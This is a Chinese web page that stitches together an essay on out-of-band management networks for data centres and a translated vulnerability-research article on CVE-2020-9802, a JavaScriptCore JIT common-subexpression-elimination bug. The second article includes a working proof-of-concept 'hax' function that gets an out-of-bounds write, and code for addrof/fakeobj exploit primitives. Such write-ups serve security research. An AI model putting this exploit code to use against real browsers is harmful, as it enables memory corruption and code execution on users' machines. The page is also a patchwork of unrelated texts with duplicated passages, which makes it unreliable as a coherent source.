nand oob访问数据中心网络的救命稻草-OOB

发布时间 : 2024-11-25

作者 : 小编

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数据中心网络的救命稻草-OOB

数据中心网络是由成千上万台设备连接在一起组成的。这么多设备不出一点问题是不可能的，所以数据中心都有自己的网络运维团队。不过，很多时候出现网络故障时，很多设备无法再通过网络登陆，导致短时间不能定位问题并恢复业务，尤其是无人值守的数据中心，运维的人员根本来不及去现场，这样网络中断时间可能达到小时级。现在，网络中断时长已经成为考核数据中心的一项必选指标，很多数据中心都要求全年无故障，如此除了建设完备的冗余网络之外，还要解决故障时设备无法及时登录的问题。

其实，任何一台网络设备都设计了管理口、串口、调试口，这些端口独立于转发层面，即使设备网络转发出了问题，这些端口依然可以正常使用，这样就能在网络故障时检查和分析设备的运行状态，快速定位问题。除非设备的CPU出了故障，或者软件彻底跑飞，这样影响到了管理口，这时也只能将设备隔离或重启设备来快速恢复业务。这些端口只能到机房接上线缆才能登录，也是非常不方便的，对于大型数据中心，机房分散到全国各地，网络工程师还没有机房多，出了问题根本无法保证人在现场，所以很多人倾向于建设一套OOB网络。

OOB(Out Of Band)带外网络，是指通过一套与任何数据转发网络都没有关联的独立网络，网络控制中心可以连接到各个服务器或任意一台网络设备的管理口或串口，当数据转发网络出问题时，OOB网络不受影响，这样就可以通过OOB访问设备。有了OOB，无疑是给数据中心网络一根救命稻草，在关键时候能起到大作用。OOB的作用不止于此，将设备管理和数据转发层面分开，正是未来网络发展的大趋势，OOB也属于这方面的技术之一;OOB仅跑管理流量，SNMP、监控等网络功能都可以放到OOB，避免受转发数据的影响;OOB网络架构简单、流量也不大，不涉及复杂网络协议，只要二三层互通即可，所以几乎不出问题，可靠性非常高，OOB不像数据网络要经常因为业务调整网络，OOB只要保证互通即可，OOB可以采用一些价格便宜的低性能网络设备实现互联即可，建设和维护OOB网络，对于数据中心成本并不高，很多数据中心都开始建设OOB。OOB将所有网络设备集中管理起来，方便研究整个网络的设备运行行为，找出不足，可提升网络运维的效率。

不过，任何事情都有两面性，建设OOB这件事儿也有弊端。首先，OOB也是通过互联网连接起来，如果是运营商网络故障，比如传输设备中断，OOB和数据网络都中断，有OOB也无济于事，OOB的控制范围都是在数据中心内部网络，外部就不受其控制了;其次，网络设备的管理口、串口、调试口作用是不同的，OOB一般连接的是管理口，不可能将三个口都串接到OOB中，这样一旦需要串口(完全独立与数据转发和管理口，几乎不受网络影响，除非串口本身坏了或者设备CPU故障)和调试口(虽然几乎很少用到，主要是设备开发过程中使用，但偶尔定位问题使用也非常有效)，还是需要人员到机房现场才行;第三，OOB的网络一旦出问题，只能现场处理，无法再通过网络去访问OOB网络中的设备，所以OOB网络的运维成本不低，尽量要确保OOB不出问题，网络越简单越好;第四，OOB网络里都是设备的管理数据，重要性很高，尤其是各个设备的登陆密码和方式，一旦被人窃取，相当于将整个网络向人敞开，非常不安全。OOB网络中设备大多防攻击能力很差，若部署额外的安全设备，OOB的投入成本就会变高，这时就要在安全性和可靠性方面上做取舍。总之，OOB也不能解决一切网络问题，认为有了OOB，网络运行就能高枕无忧了是不对的，OOB会带来新的问题，只不过从可靠性角度来看，OOB的确会增强网络安全性，尤其是在网络故障时，OOB能起到大作用，是网络的救命稻草。

在数据中心网络中建设OOB已经成为必然趋势，尤其是高标准数据中心，必须有这样一套OOB网络。OOB的网络设备可以选择转发性能低一些，网络协议单一的傻瓜式设备就可以，尽可能地降低建设成本。同样OOB也要求是7*24小时的高可用性，随时随地可以访问OOB，试想如果突然无法通过OOB访问数据中心的网络设备，就好比人突然失明一样，虽然还没遇到危险，但也是一件非常恐怖的事儿，所以一定要确保OOB网络的可靠性。将OOB的网络建设简单就是这样的目的，减少故障风险点。

数据中心有了这根救命稻草OOB，也不要掉以轻心，OOB并不能解决任何网络问题。当某些设备CPU挂死，两个转发通道都不能转发时，有OOB也无济于事，如果这时OOB还能连接串口，又给了处理故障的一线机会，通过串口采集必要信息，并对设备执行重启去恢复业务，如果连串口都不响应了，恐怕只能对设备进行现场断电、设备下线处理了。所以，OOB只不过是在网络中断时，提供了这样一个快捷通道，给了数据中心网络一根救命稻草，至于关键时候能否救命就要看造化了。这就好比是公路上的应急通道，公路上出现了交通事故，交警可以通过应急通道快速抵达事故现场，紧急车辆也可以通过应急通道通过。不过，我们更多时候看到的是，一旦出了交通事故，应急车道就会被普通车辆占满，导致事故处理时间更久。数据中心的OOB网络一定要完全独立于数据转发网络，两者完全独立，互不影响，这样才能避免出现象公路上应急通道被堵的情况。

铭说 JITSploitation I：JIT编译器漏洞分析

本文重点介绍在现代web浏览器中挖掘和利用JavaScript引擎漏洞过程中所面临的各种技术挑战，并对当前的漏洞利用缓解措施进行评估。本文涉及的漏洞CVE-2020-9802，该漏洞已经在iOS 13.5中得到了修复；而针对该漏洞缓解措施的绕过漏洞CVE-2020-9870和CVE-2020-9910，也已经在iOS 13.6中得到了相应的修复。

由于WebKit浏览器（在iOS系统和ARM引擎的macOS系统上）具有目前最高级的漏洞利用缓解措施，包括PAC和APRR等基于硬件的缓解措施，因此，WebKit自然而然就成为了首选研究对象，更准确的说，应该是它所使用的JavaScript引擎：JavaScriptCore（JSC）。

介绍

由于目前网上已经存在大量关于JIT编译器的优秀文章，因此，本节只对JavaScript JIT进行简单介绍和回顾。

在这里，我们将以下面简单的JavaScript代码为例进行介绍。

function foo(o, y) {

let x = o.x;

return x + y;

}

for (let i = 0; i < 10000; i++) {

foo({x: i}, 42);

}

由于JIT编译的开销非常大，通常只对重复执行的代码进行编译处理。因此，函数foo将在解释器（或经济型“基准”JIT）中执行一段时间。在这段时间内，会收集相关的配置文件数据。对于foo函数来说，对于其中的数据可能做出以下推断：

o: JSObject 属性为.x，偏移量为16x: Int32y: Int32

之后，当优化JIT编译器最终启动时，首先将JavaScript源代码（或者，更可能是解释器字节码）翻译成JIT编译器自己的中间代码。对于DFG来说，JavaScriptCore的优化JIT编译器的工作是由DFGByteCodeParser完成的。

DFG IR中的函数foo最初可能看起来像这样：

v0 = GetById o, .x

v1 = ValueAdd v0, y

Return v1

在这里，GetById和ValueAdd是两种非常通用的（或者说是高级别的）操作，能够处理不同的输入类型（比如，ValueAdd操作也能用于连接字符串）。

接下来，JIT编译器会检查配置文件，并据此推测未来将继续使用相同的输入类型。就这里来说，它会做出以下推断：o的类型将一直是某种JSObject，而x和y的类型则一直为Int32。然而，由于无法保证这些推测始终是正确的，编译器必须对这些推测进行“维护”，通常的做法是采用运行时类型检查，因为这种检查的开销较小。

CheckType o, “Object with property .x at offset 16”

CheckType y, Int32

v0 = GetByOffset o, 16

CheckType v0, Int32

v1 = ArithAdd v0, y

Return v1

同时也要注意GetById和ValueAdd是如何被转化为更高效（但不那么通用）的GetByOffset和ArithAdd操作的。在DFG中，这种推测性优化会发生在许多地方，例如，前面讲到的DFGByteCodeParser中。同时也要注意GetById和ValueAdd是如何被特化为更高效（但不那么通用）的GetByOffset和ArithAdd操作的。在DFG中，这种推测性优化会发生在许多地方，例如，前面讲到的DFGByteCodeParser中。

此时，IR代码中的数据实际上都被赋予了特定的类型，因为在推测维护机制的帮助下，是允许对类型进行推断的。接下来，会对代码进行各种优化，比如循环展开或常量合并等。关于DFG所做的优化工作的概述信息，大家可以从DFGPlan中提取出来。

最后，优化后的IR被翻译成机器代码。在DFG中，这是由DFGSpeculativeJIT直接完成的，而在FTL模式下，DFG的IR首先被翻译成另一种IR，即B3；而B3在经过进一步的优化后，才会被编译成机器代码。接下来，我们将讨论一种具体的优化技术：公共子表达式消除（CSE）。

公共子表达式消除（CSE）

这种优化技术的思想是：找出重复的计算（或表达式），并将它们合并成单个计算。接下来，我们以下面的JavaScript代码为例进行介绍。

let c = Math.sqrt(a*a + a*a);

Assume further that a and b are known to be primitive values (e.g. Numbers), then a JavaScript JIT compiler can convert the code to the following:

如果我们假设a和b为基本数值类型，那么JavaScript JIT编译器可以将上述代码转换为：

let tmp = a*a;

let c = Math.sqrt(tmp + tmp);

这样做可以在运行时可以少执行一次ArithMul操作。这种优化方法称为公用子表达式消除（CSE）。

现在，考虑以下JavaScript代码：

let c = o.a;

f();

let d = o.a;

在这里，编译器不会在进行CSE优化时消除第二个属性加载操作，因为在这两个操作之间的函数调用可能会改变属性.a的值。

对于JSC来说，某操作是否可以（以及在什么情况下可以）进行CSE优化是由DFGClobberize决定的。对于ArithMul，DFGClobberize给出的结果是：

case ArithMul:

switch (node->binaryUseKind()) {

case Int32Use:

case Int52RepUse:

case DoubleRepUse:

def(PureValue(node, node->arithMode()));

return;

case UntypedUse:

clobberTop();

return;

default:

DFG_CRASH(graph, node, "Bad use kind");

}

其中，PureValue的def()表明，该计算不依赖任何上下文，因此，在给定相同输入的情况下，总会得到相同的结果。但是，请注意，PureValue是由该操作的ArithMode来参数化的，它规定了该操作是否应处理整数溢出（例如，通过向解释器求助）。在这种情况下，参数化可防止对整数溢出进行不同处理的两个ArithMul操作被相互替换。处理溢出的操作通常也称为“检查溢出问题的”操作，而“不检查溢出问题的”操作是不会检测或处理溢出问题的。

相反，对于GetByOffset（可用于属性加载），DFGClobberize则包含：

case GetByOffset:

unsigned identifierNumber = node->storageAccessData().identifierNumber;

AbstractHeap heap(NamedProperties, identifierNumber);

read(heap);

def(HeapLocation(NamedPropertyLoc, heap, node->child2()), LazyNode(node));

这实质上就是说，这个操作产生的值取决于NamedProperty“抽象堆”。因此，只有在两个GetByOffset操作之间没有对NamedProperties抽象堆（即存放属性值的内存空间）执行写操作时，消除第二个GetByOffset才是合理的。

缺陷

实际上，DFGClobberize并没有将ArithNegate操作的ArithMode考虑在内：

case ArithNegate:

if (node->child1().useKind() == Int32Use || ...)

def(PureValue(node)); // <- only the input matters, not the ArithMode

这可能会导致CSE用一个不检查溢出问题的ArithNegate操作来代替检查溢出问题的ArithNegate操作。对于ArithNegate(32位整数求反)操作来说，整数溢出只可能发生在下述特定情况下：对INT_MIN：-2147483648求反时。这是因为2147483648无法表示为32位有符号整数，因此-INTMIN会导致整数溢出，并再次得到INTMIN。

通过研究DFGClobberize中CSE的定义，思考为什么某些PureValue(以及哪些PureValue)需要使用ArithMode进行参数化，然后搜索缺少该参数化的情况，就能找到这种类型的溢出漏洞。

其实，该漏洞的修复方法也非常简单：

- def(PureValue(node));

+ def(PureValue(node, node->arithMode()));

实际上，这就是让CSE将ArithNegate操作的arithMode（溢出检查模式和溢出非检查模式）考虑在内。这样，具有不同模式的两个ArithNegate操作将不允许相互替换。

除了ArithNegate，DFGClobberize也疏忽了ArithAbs操作的ArithMode。

请注意，这种类型的漏洞很难通过模糊测试检测出来，因为：

fuzzer必须在相同的输入上创建两个ArithNegate操作，并且要具有不同的ArithMode；fuzzer需要触发ArithMode的差异会导致重大问题的情形，并且，还需要在这种情形下对INT_MIN值取反；除非引擎具有用于尽早检测此类问题的定制“消毒器”，并且除非进行了差异化模糊测试，否则fuzzer仍会把这种情况归结为内存违例或断言失败。如下一节所示，该步骤可能是最难的一步。

实现越界访问

下面显示的JavaScript函数，将利用上述漏洞，通过一个任意索引（在本例中为7）实现对JSArray的越界访问：

function hax(arr, n) {

n |= 0;

if (n < 0) {

let v = (-n)|0;

let i = Math.abs(n);

if (i < arr.length) {

if (i & 0x80000000) {

i += -0x7ffffff9;

}

if (i > 0) {

arr[i] = 1.04380972981885e-310;

}

接下来，我们逐步介绍如何构建该漏洞的PoC。在本节的末尾，还将提供上述函数的注释版本。

首先，ArithNegate仅用于对整数求反（更通用的ValueNegate操作可以对所有JavaScript值求反），但在JavaScript规范中，数字通常是浮点值。因此，有必要向编译器“指出”输入值始终为整数。这很容易实现，方法是首先执行逐位运算，这样得到的总是32位有符号整数值：

n = n|0; // n will be an integer value now

这样，我们就可以构造一个不会对溢出问题进行检查的算术运算（以后将使用该运算对检查溢出问题的算术运算进行CSE处理）：

n = n|0;

let v = (-n)|0;

就本例来说，在DFGFixupPhase期间，n的求反操作将被转换为不会对溢出问题进行检查的ArithNeg操作。编译器将忽略溢出检查，因为这里进行求反的值的唯一用途是按位或运算，该运算对于溢出的值和“正确的”值的结果是一样的：

js> -2147483648 | 0

-2147483648

js> 2147483648 | 0

-2147483648

接下来，需要构造一个以n为输入并且检查溢出问题的算术运算。获得算术运算的一个有趣的方法是让编译器将一个ArithAbs操作强度折减（Strength reduction）为一个ArithNegate操作。只有当编译器能够证明n是负数时，才会出现这种情况。不过，实现这一点并非难事，因为DFG的IntegerRangeOptimization过程是路径敏感的：

n = n|0;

if (n < 0) {

// Compiler knows that n will be a negative integer here

let v = (-n)|0;

let i = Math.abs(n);

}

在字节码解析过程中，对Math.abs的调用会先简化为ArithAbs操作，因为编译器能够证明该调用总是会导致mathAbs函数的执行，所以不妨用ArithAbs操作作为代替，因为该操作不仅具有相同的运行时语义，同时还无需在运行时调用函数。编译器实质上就是这样内联Math.abs的。之后，IntegerRangeOptimization过程会将ArithAbs转换为一个检查溢出问题的ArithNegate（ArithNegate必须检查溢出，因为n没有将INT_MIN排除在外）。这样一来，if语句里面的两个语句实质上就变成了下面的样子（DFG IR伪代码）：

v = ArithNeg(unchecked) n

i = ArithNeg(checked) n

其中，由于漏洞的缘故，经过CSE优化以后上述代码将变成：

v = ArithNeg(unchecked) n

i = v

此时，如果用INT_MIN作为变量n的取值来调用误编译的函数，会导致变量i的值也变成INT_MIN，尽管它本应是一个正数。

到目前为止，这只是一个正确性问题，还算不上安全问题。把这个bug变成安全问题的一个（也可能是唯一的）方法是滥用一个已经在安全研究人员中广为人知的JIT优化：边界检查消除优化技术。

回到IntegerRangeOptimization过程，i的值已经被标记为正数。然而，要想发生边界检查消除，还必须确定该值小于被索引的数组的长度。这很容易实现。

function hax(arr, n) {

n = n|0;

if (n < 0) {

let v = (-n)|0;

let i = Math.abs(n);

if (i < arr.length) {

arr[i];

}

如果现在触发该漏洞，i的值将是INT_MIN，因此，这里将进行相应的比较并执行数组访问。然而，由于IntegerRangeOptimization错误地（尽管技术上将并不是它的错）将i确定为始终在边界内，因此边界检查将被移除。

在触发该漏洞之前，必须设法让JavaScript代码完成JIT编译。为此，只需重复执行代码达到一定次数即可。然而，对于arr的索引访问只会被（SSALoweringPhase）降级为CheckInBounds（稍后将被消除）；只有当访问被推测为在边界内时，才会降级为不进行边界检查的GetByVal操作。如果在基线JIT的解释或执行过程中经常观察到访问是越界的，则不会出现这种情况。因此，在对函数进行“训练”的过程中，有必要使用合理的、位于边界内的索引。

for (let i = 1; i <= ITERATIONS; i++) {

let n = -4;

if (i == ITERATIONS) {

n = -2147483648; // INT_MIN

}

hax(arr, n);

}

在JSC中运行这段代码时，将会发生崩溃：

lldb -- /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js

(lldb) r

Process 12237 stopped

* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1c1fc61348)

frame #0: 0x000051fcfaa06f2e

-> 0x51fcfaa06f2e: movsd xmm0, qword ptr [rax + 8*rcx] ; xmm0 = mem[0],zero

Target 0: (jsc) stopped.

(lldb) reg read rcx

rcx = 0x0000000080000000

然而，这里的不便之处在于，越界索引（在rcx中）总是INT_MIN，因此，这里会访问数组后的0x80000000 * 8 = 16GB处的内存空间。尽管这个越界漏洞可以被利用，但绝不是一个最佳的利用原语。

实现具有任意索引的OOB访问的终极招式是从i中减去一个常数，该常数会将INT_MIN变为任意正数。由于i被（DFG编译器）认为始终为正，因此，减法操作无需检查溢出问题，因此，即使发生溢出，也不会引起注意。

但是，由于减法会使有关下限的整数范围信息无效，因此之后需要执行额外的“if i > 0”检查，以再次触发边界检查消除优化。此外，由于减法会将训练过程中使用的整数转换为越界索引，因此只有在输入值为负时才有条件执行该减法。幸运的是，DFG编译器还不是太聪明，无法确定该条件永远不成立，在这种情况下，它会减法运算进行全面优化！

下面显示的还是原来的函数，不同之处在于，这里加了相关的注释。当经过了JIT编译且令n取值为INT_MIN时，将导致将受控的数值（0x0000133700001337）越界写入到内存中arr后面的JSArray的长度字段中。请注意，这一步的成功取决于正确的堆布局。但是，由于该漏洞非常强大，足以用于进行受控的OOB读取操作，因此可以在触发内存损坏之前确保存在正确的堆布局。

function hax(arr, n) {

// Force n to be a 32bit integer.

n |= 0;

// Let IntegerRangeOptimization know that

// n will be a negative number inside the body.

if (n < 0) {

// Force "non-number bytecode usage" so the negation

// becomes unchecked and as such INT_MIN will again

// become INT_MIN in the last iteration.

let v = (-n)|0;

// As n is known to be negative here, this ArithAbs

// will become a ArithNegate. That negation will be

// checked, but then be CSE'd for the previous,

// unchecked one. This is the compiler bug.

let i = Math.abs(n);

// However, IntegerRangeOptimization has also marked

// i as being >= 0...

if (i < arr.length) {

// .. so here IntegerRangeOptimization now believes

// i will be in the range [0, arr.length) while i

// will actually be INT_MIN in the final iteration.

// This condition is written this way so integer

// range optimization isn't able to propagate range

// information (in particular that i must be a

// negative integer) into the body.

if (i & 0x80000000) {

// In the last iteration, this will turn INT_MIN

// into an arbitrary, positive number since the

// ArithAdd has been made unchecked by integer range

// optimization (as it believes i to be a positive

// number) and so doesn't bail out when overflowing

// int32.

i += -0x7ffffff9;

}

// This conditional branch is now necessary due to

// the subtraction above. Otherwise,

// IntegerRangeOptimization couldn’t prove that i

// was always positive.

if (i > 0) {

// In here, IntegerRangeOptimization again believes

// i to be in the range [0, arr.length) and thus

// eliminates the CheckBounds node, leading to a

// controlled OOB access. This write will then corrupt

// the header of the following JSArray, setting its

// length and capacity to 0x1337.

arr[i] = 1.04380972981885e-310;

}

Addrof/Fakeobj

此时，我们可以构建两个低级漏洞利用原语addrof和fakeobj。其中，addrof(Obj)原语用于返回给定JavaScript对象在内存中的地址（以双精度浮点数存储）：

let obj = {a: 42};

let addr = addrof(obj);

// 2.211548541e-314 (0x000000010acdc250 as 64bit integer)

这个 fakeobj（地址）原语返回包含给定地址的JSValue作为有效负载：

let obj2 = fakeobj(addr);

obj2 === obj;

// true

实际上，这两个原语非常有用，在它们的帮助下，我们可以：突破堆的ASLR保护机制，将受控数据保存到已知地址中；此外，它们还能提供一种构造fake对象并将其“注入”到引擎中的方法。

除此之外，我们也可以使用两个具有不同存储类型的JSArray来实现这两个原语。具体来说，就是通过将存储（未经装箱处理的/原始的）双精度值的JSArray与存储JSValues（经过装箱处理的/标记值，例如指向JSObjects的指针）的JSArray重叠在一起来实现上述原语：

这样的话，就可以通过float_arr，像读写双精度浮点数那样来读写obj_arr中的指针值了：

let noCoW = 13.37;

let target = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];

let float_arr = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];

let obj_arr = [{}, {}, {}, {}, {}, {}, {}];

// Trigger the bug to write past the end of the target array and

// thus corrupting the length of the float_arr following it

hax(target, n);

assert(float_arr.length == 0x1337);

// (OOB) index into float_arr that overlaps with the first element

// of obj_arr.

const OVERLAP_IDX = 8;

function addrof(obj) {

obj_arr[0] = obj;

return float_arr[OVERLAP_IDX];

}

function fakeobj(addr) {

float_arr[OVERLAP_IDX] = addr;

return obj_arr[0];

}

变量noCoW的用途有些不太直观：用来防止JSC将数组分配为写后复制数组，否则会导致错误的堆布局。

小结

这是一个“非标准”JIT编译器bug的演练。请记住，与这种类型的漏洞相比，有大量其他类型的（JIT）漏洞更容易被利用；另一方面，事实上，该漏洞的利用方法（到此为止）还没有进行详细介绍，因为本文的大部分篇幅都是在回顾JSC和JIT编译器的内部结构。

数据中心网络的救命稻草-OOB

铭说 JITSploitation I：JIT编译器漏洞分析

介绍

公共子表达式消除（CSE）

缺陷

实现越界访问

Addrof/Fakeobj

小结

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